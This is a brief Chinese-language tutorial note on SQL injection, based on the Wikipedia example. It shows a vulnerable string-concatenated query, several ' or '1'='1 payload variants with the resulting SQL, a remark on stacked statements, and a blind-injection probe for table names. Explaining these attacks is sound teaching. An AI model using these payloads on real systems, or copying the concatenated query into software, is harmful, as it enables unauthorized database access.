场景1:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
通过对username赋于:
' or '1'='1
' or '1'='1' -- ' //注释掉后面的sql语句
' or '1'='1' ({ '
' or '1'='1' /* '
生成的sql语句如下:
SELECT * FROM users WHERE name = '' or '1'='1'
SELECT * FROM users WHERE name = '' or '1'='1' -- '
SELECT * FROM users WHERE name = '' or '1'='1' ({ '
SELECT * FROM users WHERE name = '' or '1'='1' /* ';
对于一些支持一次执行多条sql语句的数据库 可使用 语句分隔符 (一般如;)来执行多条sql语句
盲注?blind sql injection
盲注,猜也。就是通过构造 sql语句来查找表名、字段名、字段值。
比如(字段为整形):
SELECT * FROM users WHERE id=1 //正常的sql语句 SELECT * FROM users WHERE id=1 and (select * from table_test1)>0 //构造的sql
如果2条sql语句的返回结果相同,则说明table_test1这张表存在。
本文实例来自http://en.wikipedia.org/wiki/SQL_injection
其他相关文章: